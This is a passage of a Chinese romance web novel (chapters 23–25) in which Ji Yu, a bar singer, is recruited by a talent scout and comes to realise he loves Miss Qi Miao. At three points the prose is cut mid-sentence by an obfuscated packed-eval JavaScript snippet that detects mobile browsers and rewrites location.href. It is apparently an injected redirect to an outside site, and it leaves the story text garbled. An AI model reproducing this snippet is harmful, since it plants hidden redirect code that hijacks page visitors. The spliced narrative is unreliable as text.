在她模糊的印象里,季玉和她还有那个不负责任的爹都不一样,没有邀请过朋友来家做客,也不出门玩,话少,安静,懂事温顺得像个受气包。 小时候他还对母亲有天生的依赖和小心翼翼的讨好,再大一点儿的时候感觉和谁都不亲近,这还是第一次见他孔雀开屏小狗护主急吼吼的样子,那痴迷的疯狂劲儿,眼睛里都容不下别人了。 眼前瘦不拉几的坏女人有胆量有底气对她发狠话,还不是因为她的儿子没出息!假惺惺说什么管不着他的钱,狗儿子立马蔫了又要哭,转而接着就说什么要把他藏起来,那家伙立马活过来了,嘿,变魔术呢,大变活人!眼睛还亮得能当电灯泡!满脸都是期待期待喜欢喜欢!如此高深的段位,玩季玉还不是易如反掌! 姚雪恨不得自戳双眼,他哪是需要道歉,他明明只在乎坏女人的态度,一心求着做坏女人的狗! 好汉不吃眼前亏,她不得不暂时低头,忍气吞声说些软和的窝囊话,结果季玉哭唧唧地说:“我不会原谅你的,因为你骂齐小姐,还耽误她午休。道歉也没用。” 转头还红着脸挂着泪珠,问坏女人:“齐小姐真的愿意把我藏起来吗?什么时候呀?” 姚雪气绝。 23. 生存之外的动力 自那之后,齐妙没再偶然碰见过姚雪。 周五下班后,齐妙和季玉一起前往酒吧附近的餐厅。虽然这段时间齐妙不让他亲自下厨,但他还是次次提前跑来街心公园接她。 以前九点多的唱歌环节提前至七点半,所以吃完晚饭不久,季玉就要赶去酒吧。即便如此,他还是迁就着齐妙的时间,不给她添麻烦。这方面这家伙坚定得不可思议,只在临近休息日的周五,才肯答应齐妙优先他的位置。 原先季玉对食物没有喜欢与否,单纯填饱肚子而已,进食就像固定的任务,可现在却变得无比幸福,这一切都归功于齐小姐。虽然和齐小姐一起度过的时光总是飞蹿得比火箭还快。 不过,齐小姐说,今晚有空,要听他唱歌诶!!! 天呐!!!幸福晕了!!! 季玉走进洗手间,用冷水拍拍泛红的脸,然后整理头发,还有衣领袖口和每一处轻微的褶皱。他吐掉漱口水,仔细检查身上的柠檬香气是否恰到好处。 其实,从第一天上台起,他就没有紧张过,直到齐小姐来听他唱歌。因齐小姐而生的紧张情绪很微妙,让他的一颗心脏砰砰直跳,七上八下地不受控制,而正是这种脱离秩序的忐忑和雀跃,令他渐渐意识到生存之外的生活动力。 整理完毕,季玉笑着走向心心念念的姑娘,却被满脸骗子相的大叔截胡:“小季啊,还记得我吗?孙健,星耀公司的。” 他再度自报家门,季玉依稀记得,便点点头,不想与他多作纠缠。 “上次咱们说的那个事儿,你考虑得怎么样了?” “不好意思,我没有加入乐队出道的打算。” “哎哎,你再好好想想呢,在酒吧唱歌也不是长久之计,这不是埋没了才华嘛,多可惜!出道这个事儿吧,说难的确不简单,但也没那么困难,主要看人,你看你就是老天赏饭吃!你不火谁火啊?到时候赚钱还不是轻而易举?不像你现在打着两份工看不到出路。你要是有兴趣,咱们就要趁早准备,越早越好……” 孙健丝毫不气馁,他早知会有这样的结果,上次面谈季玉的态度就不积极,之后压根没有主动联系过,几次来蹲点都不见人踪影。他看得出季玉的确没有兴趣,眼里没有一丝对红的渴望,明明长得很华丽,内心倒意外很纯朴。 这不就是天选大明星吗?!!他们公司经营不算久,规模又小,知名度远远比不上大公司,本来就在夹缝中生存岌岌可危,自然要押宝在最优秀最有星相的人身上,而偶然看见季玉的第一眼,孙健就确定他是能够扭转逆境的那个奇迹。 幸好,幸好这间家吧生意不行,还没有其他业内人士发现宝物。 所以无论如何,他都不会轻易放弃,古有刘备三顾茅庐,今有他孙健数顾酒吧。既然在酒吧驻唱,要么是热爱音乐热爱舞台,要么就是穷,这还不好办? 只是他万万没想到这还真是个硬骨头。季玉扫了眼他的名片,仅仅抬眸这样简单的动作,居然美得轻轻松松,然而开口却没说什么好话:“出道就能红的说辞怎么听都像虚假宣传,有诈骗的嫌疑。您所属的公司应该还不具备捧人造势的深厚资本吧?在哪里赚钱都不容易,我现在的两份兼职足够生活开销,之后我还要参加高考。” “还有,我不会干涉您的工作,但希望您不要在有客人的情况下找我。齐小姐已经等我很久了。失陪。” 前后大概五分钟,季玉都快疯了!前脚还在别人面前振振有词,后脚慌里慌张地来到齐妙身边,垂着脑袋绞着裤边道歉。 孙健收回先前对季玉的评价,纯朴归纯朴,看问题还挺清醒,隐隐有点礼貌不失毒舌的味道。更重要的是,他好像突然找到了对方的心之所向。 作为一名星探兼经纪人,孙健的年纪偏大,但记性不输年轻的。他算公司的元老成员,看人不说十拿九稳,也算基本没差。上一次他来找季玉,这小子就魂不守舍地眼神直飘,敷衍回应后直奔一姑娘那儿了。 虽然酒吧光线昏暗,孙健还是把那姑娘模样记了个大概。这回季玉口口声声说什么客人、齐小姐,他就留了心眼,一看这不就对上脸了,果然还是上回那姑娘。季玉一到那姑娘面前,就气质突变,大高个变得渺小,雕塑般高贵的脸软化,浮现楚楚可怜的模样,跟委屈巴巴的小狗似的。 不为名不为钱,那就是爱情至上了呗!跟恋爱脑是没话谈,只能和恋爱脑的对象谈谈了。 两次。两次听季玉唱歌,两次都有人来打扰。来人自称是娱乐公司的工作人员,想要挖掘季玉这个好苗子。齐妙不算意外,直说:“既然如此,您应该找他本人谈。” 孙健一脸惋惜:“哎呀,这不是他没想明白嘛,说什么还要参加高考,你说他都出来打工了,尽早想点真正能赚钱的法子才是正事对吧?” 齐妙事先并不知道这名星探已经多次邀请季玉这回事,不清楚他的真实想法,此时便不评价也不回应,只轻描淡写地说:“多读书没坏处。” “是是是,但你看他那个条件,不出道多浪费啊!长得好唱得也好,能轻松赚钱还能收获粉丝,干嘛要让自己吃苦呢?他也喜欢唱歌不是吗?我知道你们肯定对小公司抱有怀疑态度,咱们可以先去公司看看,还是不放心的话就签个对赌协议,具体的都能商量,绝不会让你们吃亏……” 孙健的话很密,以一鼓作气誓要拿下的气势唰地出示名片,求人若渴般看向齐妙。 “讲实话,虽然咱们公司不起眼,但我也是圈子里混的人,大大小小的明星艺人见了不少,我敢保证季玉光凭脸出道就能飞升,更何况他嗓音也好,加上咱们专业老师的培训、练习,前途无量啊!” “我们真的是正经公司,你看艺人花名册、写真集,百度百科也能搜索到的,虽然目前代表作有限……” 齐妙:“我知道了,之后我会问问他的想法。” 孙健还想继续说些什么,她先摆出送客的意思:“今天可以结束了吧。我已经错过了两首歌,再不认真听的话,待会儿他该伤心了。” 她预判得非常准确,一点儿失误都没有,孙健这才发现舞台上的主唱气压极低,用那种异常冷酷压抑吃人冲动的眼神锁定他。 虽然凉飕飕还慑人,但代表摇滚乐队的那种吞噬一切的疯劲油然而生,而且变脸之快,简直先天娱乐圈圣体!最关键的是,这小子不管做任何夸张的表情,都不会崩脸!反而各有各的带感! 他要尽可能的诚恳,忍耐住躁动的心,留下各种展示资料,起身告辞,然后依依不舍地一步三回头。 驻唱时间延长的情况下,钱广进不情不愿地批准歌手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16912507|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们中途多休息一次。刚到中场时间,季玉马不停蹄地飞奔下台。他腿长,五六层台阶直接一步跨过,心里已经不知道抱怨骗子相的大叔多少回,嘴上也止不住地嘀咕:“好讨人嫌的大叔,为什么要来烦齐小姐啊……” 一阵风似的呼啸而来,转脸就是副天快塌了的表情:“齐小姐,你有听到我唱的歌吗?都怪那个大叔……” 越来越活泼了呢。 齐妙微微一笑:“有的,很好听。” “真的吗?真的吗?!”连口水都没来得及喝,更别提捂热空落落的座椅,季玉风风火火的就要往回冲:“那我不休息了,多唱几首给齐小姐听……” 齐妙微愣,继而无奈地摇摇头,迅速拉住他的手臂:“……慢着,现在是休息时间,过来坐下。” “不要傻乎乎地给黑心老板额外打工啊。” 黑心老板的最佳员工季某傻乎乎地点头:“哦,哦,对噢……” 被齐妙触碰的右臂就像被施展了石化咒语,僵硬地保持原动作垂下,僵硬地不知道该怎么摆放。石化咒语里应该还掺了火辣辣的痒痒剂,迅速麻痹了他身体的其他部位,唯独心脏跳动得愈发厉害。 齐妙看他紧张得像座雕像,手臂极不自然地梗着,便逗他:“是我太用力了吗?胳膊脱臼了?” “啊,没有没有!胳膊很好,齐小姐更好!”季玉举起手臂挥舞,证明其状态良好。然后胡乱解释一通,抛开语句的关联性,一门心思只想夸夸齐小姐。 果然,相貌出众的优势很多,比如做出这么傻的举动,居然也挺可爱的。 齐妙支起下巴,饶有兴致地用目光描摹季玉的五官。季玉被盯得不好意思,可扬起的唇角却怎么也压不下去。不管齐小姐的目光是因为什么停留,但只要放在他身上,他就欣喜若狂。 齐妙先让他喝点温水,润润嗓子,然后问:“你喜欢唱歌吗?” 季玉不假思索:“喜欢。” 齐妙继续问:“想不想唱给更多人听?” 季玉想了想,回答:“……不想。” 他解释说:“其实,比起喜欢唱歌,准确来说应该是喜欢听歌,听多了会跟着唱,嗯……算是一种放松的方式?自娱自乐啦。” “但是,遇见齐小姐以后,可能因为总是在你面前出丑,就特别想唱歌给你听,想着说不定你会觉得还不错,甚至觉得我不是一个一无是处的人。” 齐妙佯装不明白,语气轻松道:“噢,原来那些是出丑吗?我还以为是你知道自己很可爱,所以毫无顾忌地展示呢。” 季玉满脸惊讶,指着自己:“……可爱?我吗???” “不然呢,这里可没有第三个人。”齐妙理所当然道:“所以你为什么会觉得自己一无是处?明明我早就夸过你发质很好,厨艺很好,是让人省心的乖学生等等,是想再听一遍吗?” “不不是,不,那个,呃……”季玉支支吾吾的,他的确讨厌自己,也由衷觉得自己一无是处,但齐小姐的话总能让他无法思考,或者说放弃思索,就像太阳每日东升西落的真理一样,没有辩驳的余地,只有认同或顺从。 无论左右脑如何互搏,最终得出的答案只有一个。季玉扑闪着大眼睛,诚实而坚定地点点头,超大声:“嗯!还想再听很多很多遍!” 24. 深陷爱河的笨蛋 齐妙很爽快:“可以喔,夸奖的话说多少遍都没关系。” “不仅仅是我的,你还能得到更多人的认可。你不想要吗?” 她知道,季玉性格里的自卑、敏感、患得患失,离不开原生家庭的缺失,经年累月的伤害将他的心撕开一个大洞,需要源源不断的善意和关怀填补。 这或许是一个不错的机会。从长远角度来看,如果他不排斥站上舞台,被更多人看见,来自不同听众的肯定逐渐使他习惯适应,然后再慢慢内化为他对自我的认同。 季玉却摇摇头:“我只想唱给齐小姐听,也只想得到你的认可。” 齐妙觉得这并不冲突:“站在更高的舞台上,一样能为我唱歌啊。” 但脑回路一向清奇的消极男子不知道联想些了什么,总之突然间就面容凄楚,眼皮没生气地耷拉着,立马苦涩哽咽起来:“……齐小姐,是想摆脱我吗?已经厌烦我了吗?” “该说你胡思乱想的能力太厉害了吗?”所幸情绪还在可控范围内,齐妙轻捏他的后颈,逼他正视自己:“你倒是说说看前后有什么关联性,必须给我一个合理的解释。” 季玉浑身一紧,感受到温柔的触碰后,很快败下阵来,颓然地交代:“……更高的舞台,会消耗更多的时间和精力,到时候和齐小姐相处的机会就更少了……” “笨蛋。你现在白天晚上两份兼职,还没有真正的休息日,再忙的乐队都没有这么重的工作量。这也是我让你考虑看看的最主要原因。” 齐妙搜索过这家公司的信息,所属艺人虽然名气不高,但工作机会还可以。大概恰恰因为还未发展壮大,员工不多,所以资源即便平摊到每个艺人身上,也能让他们一直陆陆续续有露脸活动。当然,一家公司如何还得实地感受过才清楚。 “这支乐队还只是个雏形计划,在你高考前应该正好有段训练期,每月也会发放工资,具体的合约里都能谈。乐队不是偶像组合,训练大概集中在声乐创作方面。这样一来既足够生活,又不耽误学习,还不用像现在这样累,怎么算都是可自由支配的时间更多了吧?” 她知道季玉并不是真的不清楚这些,在还上学的年纪就早早独立,凭一己之力生存的同时坚持读书,不仅如此,酒吧工作时游刃有余,靠卖酒达成销冠,察言观色、能言善辩的能力必然不会差。 只不过,她觉得季玉在她面前,不够理智。 “如果你不喜欢、抵触这份工作,大可以直接拒绝。如果是除此之外的其他因素,请你一定要慎重考虑,尤其因为什么人之类的,不值得为此放弃前程。” 齐妙没有特意说“因为我”,而是以泛指带过,她想说明的是任何人都不该成为前途的绊脚石。 酒吧向来吵闹,季玉却清晰地听见心脏被一点点啃食的闷痛声响。齐小姐说的没错,为了活下去,更好地生活,应该心无旁骛地抓紧每一次有可能的机会。 但心底里如鼓点般强烈的声音在喧嚣,齐小姐才是他渴望明天的根源和动力,她才是一切的起点和终点。遇见她那天起,他好像才真正活过来,开始期盼太阳。如果没有她,那么所有的所有都将不成立,他怎样活,还是怎样死,又有什么区别呢? 季玉认为自己此刻的逻辑有条有理,思考得周全,甚至从未如此大彻大悟。齐小姐也会出错,错就错在低估自己。其他人,哪怕是他的父母都无法真正影响到他对未来的判断或抉择,只有齐小姐,因为齐小姐就是他的未来。 所以,他说:“……不值得,怎么会不值得?齐小姐比世上任何人、任何事物都要珍贵。” 齐妙略显复杂的神情告诉他,这句话有些越界。季玉感到穿堂风经过,捧起胸腔里跳动的活物,又突兀地抽身离开,徒留一阵被独自抛下、骤然坠落的空荡孤寂。 他失落地垂下眼睫,再抬眼时已调整好情绪,眸底清明:“齐小姐放心,我还没有那么不知死活。不是放弃前程,只是之前没想过迈入娱乐行业,毕竟我只是个别无所长的普通人,一直觉得这种行业离我太遥远。” “我会联系孙先生的,也会认真准备面试。” 良久,齐妙轻叹一声。季玉本人可能没发现,他说这些话时模样有多可怜,明明在笑,却比哭还拧巴。 她想了想,几次止住安慰的言语,只轻飘飘地丢下一句:“方便的话,你约见孙先生,选我有空的时间。” 正式会谈的当日,孙健表现得非常热情,提前向季玉确认时间和地址,要开车接送他们参观公司,最终却只载上蔫了吧唧的季玉一人。齐妙自行驾车,结束后她还要赶去别处。 孙健嗅出气氛不对,一路没话找话地闲聊,就见季玉强打精神地应付,看向窗外忧郁而心碎的帅气脸庞,简直像随时要乘风而去。 他一面夸夸自己好眼光,感叹女娲造人时偏袒手抖的程度居然夸张到这种地步。一面担心恋爱脑是不是要被甩,齐妙的这类说辞他也不是没听过,要是待会儿到公司了还不见人,突然电话告知临时有事来不了,那就是板上钉钉的要拜拜了! 那可不就糟了吗?就他先前所知,圈子里为情所困的男男女女真不少,轻一点的暴瘦、深夜emo、剪短发、随时随地流眼泪、网上发疯,重则抑郁、割腕、自杀,神智不清。 有的年轻人没谈恋爱前看着多清醒啊,一谈简直被折磨得不成人样,更别提眼前这位,看起来就是丧尸都呸呸呸的恋爱脑重症患者。孙健笃定,季玉突然改变主意,愿意考虑看看,只可能因为爱情的力量。 孙健习惯提前准备,正在脑子里计划planABC呢,结果一瞧公司门口,齐妙已经抵达,顿时舒了口长长的气。还没来得及和季玉说点什么,那小子早就蹿得老远,几乎闪现在齐妙面前。 周末,公司不乏加班的牛马。没办法,他们可是娱乐经纪公司,宗旨即在别家公司牛马休息的时间,通过包装、剪辑、展示等各种集聚的智慧,为他们带去娱乐。 普普通通的例行加班日却与往常不同,孙健一路迎着电灯泡般炯炯有神死灰复燃的一双双眼睛,挺直胸脯,头昂得比谁都高。看吧看吧,是谁眼光犀利,当机立断?是谁为公司带来希望和无限光明的美好未来? 他美滋滋地享受着大家的瞩目,虽然这些燃燃雄起的视线因季玉而起,四舍五入也是因为他。 比起他故作不在意的镇定,后面的两位倒是真的平静。齐妙他还能理解,毕竟这姑娘气质内敛,但当事人季玉居然也毫无感觉,甚至有些冷漠,置身事外的样子。 有活泼的同事起哄调戏,季玉丝毫不为所动,还怪守男德的。孙健印象里,这小子在齐妙面前容易害羞得很,他当时还以为季玉性格如此,现在看来压根不是一回事儿。 孙健领着他们穿过长廊,笑呵呵的:“别跟她们一般见识哈,小姑娘看什么都新鲜!再说了,就不提咱们公司,放眼整个娱乐圈,也找不到小季这么帅的!” 浓密的眼睫覆盖下阴影,显得季玉的脸色尤其苍白,面上既没有一丝喜悦,也无明显的情绪:“孙先生过誉,我长相平平,没什么特别的。” ……任谁看都会觉得这臭小子在凡尔赛!但面对面看着,孙健知道他没有,只是没什么气力到懒得争论反驳的感觉而已。 孙健试图偷瞄一眼齐妙,暂且不提这姑娘心思隐得更深,让人更难读懂,更重要的是他稍微多看一下下她,季玉就死人微活,自动条件反射般,不同寻常的目光里扔来结冰碴儿的刀片。 得了,不讲不讲,装没看见吧。 接下来,他摒弃杂念,详尽地一一介绍公司发展情况、环境、人员构成,还有工作及练习内容。 期间,孙健曾想先招揽齐妙。此前季玉多次直接拒绝,是由于自己找齐妙那次后才转变想法,说明她的看法比季玉更积极。然而,齐妙完全不插手,连点评价都没有,也并未与季玉两人私语,淡淡地说些很官方的话:“您和季玉谈就可以了,以他个人意愿为主。” 季玉低声应道:“嗯,不要麻烦齐小姐。” 所以,一直到顺利签完合同,孙健都觉得有些恍惚,不真实。说实话,今天的氛围不像能皆大欢喜的,反而像要下雨又不下的黄梅天,闷热,压抑,还有点儿窒息。 同样地,虽然季玉一直绷着脸,维持礼貌的微笑,但总有种想哭要哭但忍着不哭的委屈感。他琢磨不明白,但已经签下季玉,后续就有的忙了,孙健哼着小曲儿愉快地准备工作了。 他不知道的是,结束后齐妙今天第一次主动开口,开车载着季玉前往一处甜品店。 同事推荐的甜品店装饰雅致,整体温馨,还有单独的包间位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16918725|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她料到季玉现在没心思点餐,干脆根据感觉随手点了一堆。 等餐的途中,齐妙问:“你在生我的气吗?” 季玉连连摇头,语气坚定:“不是,没有,怎么可能呢?” “我知道齐小姐是真心为我好,劝我慎重考虑,不要儿戏,对自己的人生负责。” 他抿了抿唇,指腹来回摩挲着玻璃杯壁,薄薄的手背肌肤下,青紫色的筋脉若隐若现。 “我只是,稍微、有一点点难过。齐小姐是不是觉得我很幼稚又冲动呢?为什么要说不值得的话呢?齐小姐就是最重要的,没有什么可以和您相提并论。” “我认为,对待珍视的人,应该毫无保留,如实相告内心的真实想法。可现在,我更担心这种自说自话的坦诚是否会对你造成困扰。” 齐妙挑眉,稍微、有一点点惊讶。季玉总是会说些出乎意料的话,做些难以预判的举动呢。 “不会,我倾向于和直白的人相处。善于思考是好事,但想太多容易走入误区,损害大脑。来,补充点糖分。” 她挖起一勺奶油草莓,送到傻兮兮的季玉唇边,懒洋洋地笑了笑,透出些狡黠的调皮意味:“仔细想想,从小到大我好像都没为什么困扰过,所以至少在我面前,你不需要考虑说实话的后果是什么。” “要是你能打破纪录,成为例外的话,不也挺有意思的吗?” “例外”这个词,就像眼前红彤彤的草莓,特别诱人。但季玉甩了甩脑袋,硬生生清除杂念,无比珍惜地咽下草莓,郑重道:“虽然我想成为齐小姐的例外,但一定要是正向的、无害的。比起可能会有趣,我更希望齐小姐永远无忧无虑。” 要说季玉可爱的地方,有一处齐妙绝对不会忽略,那就是无论该不该,无论值不值,无论是否有回报,都不计后果地,勇敢无畏地付出真心和诚意。 第二天还有补习,今天齐妙的确有些别的事情要处理,了解完季玉这边的情况后,就要先走了。分别前,她说:“明天见。” 然后想起什么,举起装着饮料胖乎乎的矮脚杯,轻轻碰了碰季玉的杯壁:“对了,祝愿你前程似锦。” 季玉双手捧着杯子,终于绽开笑颜:“谢谢齐小姐,祝愿你天天开心。” 祝愿我到死为止,一直可以和齐小姐“明天见”。 虽然死掉了也想天天见齐小姐,但那样对她来说也太惊悚了吧。 当晚,季玉回到宿舍,睁着眼睛望向天花板发呆。每晚,白色的墙面上都会自动放映他与齐小姐相处的点点滴滴,一幕幕一帧帧,反复回味,足够他做个好梦。 另一张床位上的小优玩着手机,瞥见他躺尸还带着满足甜蜜的笑容,随口问道:“你和齐小姐正式恋爱了?” 季玉回过神,一惊:“啊?什么?没有没有,我怎么敢想这种事……” 小优淡定地继续玩手机,继续随口问:“哦,那你什么时候告白?” 季玉大为震撼:“……什么?我吗?告白?” 小优理所当然地反问:“不然呢?” 讲真,一开始他还能信季玉义正严辞的那些话,什么都是为了客人为了业绩,装作尽在掌握的熟练模样,毕竟城里人套路深,花样多。 然而,很快,他就逐渐意识到事情不对劲起来。比如,季玉的行为越来越像电视剧里春心萌动、一头扎进爱河无法自拔的青春少年。 更关键的是,季玉早就不干销售了啊,干嘛还一直忙里忙外,话里话外全是齐小姐,那个黏糊劲眼瞎都能看出来。还有啊,他们之间的相处模式,明显齐小姐看起来厉害得不止一点点。 现在看来,季哥只是长了张聪明的帅哥脸,实际上超级迟钝的哇! 小优恨铁不成钢地直摇头:“假设,我只是说个如果的情况哈。如果突然出现一个男人向齐小姐告白,恰巧齐小姐也喜欢……” 季玉斩钉截铁:“不可能。” 小优追问:“哪个不可能?不可能有这么个男的,还是齐小姐不可能……” 季玉奋起,愤愤地拍床:“齐小姐不可能喜欢那个男人!” 又是这样,激动得连假设情况都听不完。 小优“噢”了一声,以一种“我就知道”的表情和语气,断言:“那你就是喜欢齐小姐,喜欢的不得了。” 25. 祈祷今年的初雪 喜欢。 季玉从来没有设想过。 小时候,他曾想要一个形影不离的伙伴,就像窗外楼下那群结伴的小屁孩,玩什么都好,再幼稚无聊的游戏都没关系。其实,就算不玩什么也没关系,只是静静坐着,各做各的事情也很满足吧。 可惜父母总把他一个人反锁在家,就算偶尔成功偷溜出去,也早已错失找亲密朋友的机会。 长大一点儿,不再渴望朋友,也不再执着于父母的温情,他开始有意无意地逃避人群,隐在角落、没有存在感,才是最安全的。 可惜时不时发作的睡病,让他无处遁形,惹人议论,羞愧难当。他开始害怕别人的目光,每天每时每刻期盼不要给他人带去麻烦。 偶尔,极少数的几次,姚雪会突然笑嘻嘻地问他爱不爱妈妈,类似的话对她来说没什么分量,就像喝热水还是喝凉水那样平常,常拿去询问不同的人。 她不在乎答案是什么,唯一讨厌的就是季玉的反应,不管是几岁的他,都会沉默,比风干的木头还无趣,不说话也不回答,明明只要说爱或者不爱就好了,为什么他就是要较真地沉默? 毋庸置疑,齐小姐是不一样的,与众不同的,唯一的。他想要天天见到齐小姐,想要为她做所有美味的食物,想要成为她的例外,想要她开心无忧…… 但那些不过都是他一厢情愿而已,齐小姐没有拒绝已经是最大的幸运了,他怎么还敢把什么“喜欢”这样比“爱”还要浅,随随便便就能说出口的轻浮词语强加在她身上? 喜欢,喜欢啊,到底什么是喜欢呢?喜欢读书,喜欢蓝色,喜欢吃冰淇淋,喜欢逛公园,一个人可以喜欢的东西和事物太多太多了,有的人甚至可以喜欢很多很多人。太廉价了,“喜欢”怎么配得上齐小姐? 可是,如果那些也称得上是喜欢,那么在这个世界上,他最喜欢的就是齐小姐了。 喜欢齐小姐的温柔善良,喜欢她的睿智理性,喜欢她的细心,喜欢她藏起来的笑容,就连她冷脸的模样都很喜欢,喜欢听她讲题,喜欢和她说话,喜欢她投喂,喜欢她摸摸头,喜欢她的夸奖,喜欢她的怀抱,喜欢她注视着自己,齐小姐的所有都好喜欢喔!!! 喜欢她的时候,心里满满当当的,眼睛里再也看不见其他的了。 不行了,真的好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢齐小姐啊……喜欢完全完全完全不能表达他对齐小姐的感情! 季玉就这样辗转反侧,脑袋里不停循环,失眠了一整夜,顶着俩大黑眼圈早早爬起来。今天周日,下午齐小姐会来,在那之前,他要彻底弄明白一件事。深夜属于一个人的胡思乱想,他不能因为躁动的心,就不清不楚、稀里糊涂地打扰甚至冒犯齐小姐。 所以,他一早起来,摇醒小优,继续昨晚的话题:“不好意思啊,吵醒你了,但我今天赶时间,很急很急很急。” “你说,喜欢一个人是什么感觉啊?” 念在季哥态度良好,又的确因为他的重磅结论寝食难安,被搅了清梦的小优揉揉眼睛,挠挠头,思考一阵:“嗯……嗯……应该就是一天不见就思念得发慌,浑身刺挠,不对,半天没见……老实说,快要分开的时候就想得紧了!” 季玉赞同地哐哐点头。何止快要分开的时候呀,光是想一想这两个字就受不了,刚见面的喜悦里都忍不住掺杂总要分别的难过和不舍。 “她不在眼前的时候,隔一会儿就想问问她在干嘛,过得好不好,开不开心,有没有想着我。她在身边的时候,也总好奇她在想些什么,听她说些说烂的生活小事也怎么听都听不腻。” 对对对,但季玉只在心里偷偷想,他不敢没完没了地发消息给齐小姐,有骚扰的嫌疑,而且怕她认为自己不够稳重。遗憾的是,齐小姐很少主动分享生活小事,所以他只能根据有限的片段,反复咀嚼回味。但这样也很好很幸福啦,如果能再多一点点就更好了! 小优说着说着,兀自陷入某种回忆里。 “想把她带去朋友局一起玩,最好穿上性感的小裙子,给我争面儿,好好向那帮单身狗炫耀炫耀!但是吧,她要真穿给其他男人看,我心里又不得劲,怕别人看上她,占她便宜。” 季玉蹙起眉,突然之间完全不能认同小优的想法。他察觉到,小优的用词很不尊重“她”。季玉向来不在乎所谓的脸面,更不会要求谁为他争面。虽然他不是女生,无法真正理解异性的所思所想,但在他看来,穿不穿裙子,穿什么样的衣服,全凭个人喜好吧,也就是穿衣自由。 但他不得不承认的是,穿衣自由并不通用。他讨厌别的男人在齐小姐眼前晃。如果是那种练了八块腹肌外加胸肌,穿深v低胸透视装的男人,他一定会一拳将对方打飞。是的,对方有对方的穿衣自由,他有铲除邪恶势力的自由。 小优大侃特侃,眉飞色舞:“能一起打游戏什么的最好了,不过还是需要点那叫什么,个人空间!这样感情才能保鲜嘛!虽然说喜欢和她黏一块儿,但我和兄弟单独玩的时候,她还是和小姐妹逛逛街聊聊天啥的比较好……” 谬论,还是谬论!需要个人空间的男人那不就是单身的体面说法吗?感情还需要拉远距离的保鲜吗?明明只会不断飙升,不断突破极限。为什么要和兄弟单独玩? 喜欢她就是忍不住每时每刻都黏着她贴贴呀,除非齐小姐觉得烦,除非齐小姐有事要忙,除非她想要和朋友一起玩,那我就乖乖等着,一直等着她。什么人都比不上齐小姐重要,就算是妈妈来找,也要远远远远地排在她后面。 话尽于此,太不投机。季玉没有什么同龄朋友,平时接触的都是同事。除了小优外,他只能去别的宿舍找人聊聊,偏偏一出门遇到的就是和他最不对付的阿星。阿星就阿星吧,好歹他也是个人,而且情感经历应该比小优丰富的多。 对于他的主动搭讪,尤其开口就是一个较为亲近的问题,阿星明显十分疑惑。不过,他可和他们这些一片空白的小学鸡不一样,倒是不介意分享些成熟的经验。 “想要靠近她吧。由此变得自卑,不想在她面前丢脸,情绪因她而牵动,默默留意关注她的一举一动。看见她开心就会感到开心,看见她难过,也会因此心疼。” 季玉觉得这个问题上,阿星还是比小优靠谱点,每一句都直戳心坎,所以人还是要多读书、读好书,开拓眼界,丰盈心灵。 想要靠近齐小姐,靠得很近很近。他本就不是自信的人,但在齐小姐面前,那种“我不够好,远远不够”的自卑简直如影随形。齐小姐的一句话,他能开心到变成轻飘飘起飞的气球,同时也能因为她的一个微小表情,径直向暗黑无边的无底洞坠落。 齐小姐笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16918726|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就会笑。齐小姐冷着脸,他就不自觉肌肉都跟着紧张僵硬。齐小姐在他面前不曾流露出难过的神情,他光是稍微设想一下,就心痛得想要揪住胸口蹲下缓一缓。 季玉病急乱投医,捡起寥寥无几的电话薄,拨通前任老板和现任老板的号码,将他相对熟悉点的男人从年轻到中年的都烦了个遍。 孙健虽然是钱广进熟客,但交情比不上实实在在的钱面,估计给了他红包或者好处,钱广进放人放得痛快,让季玉唱完这个月的就可以离职。 这会儿接到季玉电话,钱广进和颜悦色的,俨然将他视作冉冉升起的一颗新星。只是他万万没想到,季玉是来问他一个历经千帆、看破红尘的生意人这样稚嫩青涩的问题:“喜欢是什么样的?” 钱广进停顿了片刻,思绪飞远,最终他点了支烟,缓缓吐出烟圈,居然尝到一丝苦涩。他索性叼在嘴边,做做摆设。 半晌,浑厚的粗砺嗓音低沉:“给她花钱吧。有多少花多少,买包、买金子、买玉手镯、买房买车,她想要什么,都努力给她。辛辛苦苦赚的积蓄全都给她也高兴。” 不愧是大老板,务实!虽然平时非常抠门,还爱压榨员工,坚持钱就是赚着省出来的理念。果然,是个人就有颗心,区别在于捧给谁而已。 钱广进的这番话给了季玉很大启示。他开始庆幸孙健的出现,虽然前路未知,但如果他拼命拼命努力的话,应该能赚比现在更多的钱吧,这样才能为齐小姐花更多的钱,给她买更多她想要的或者需要的。 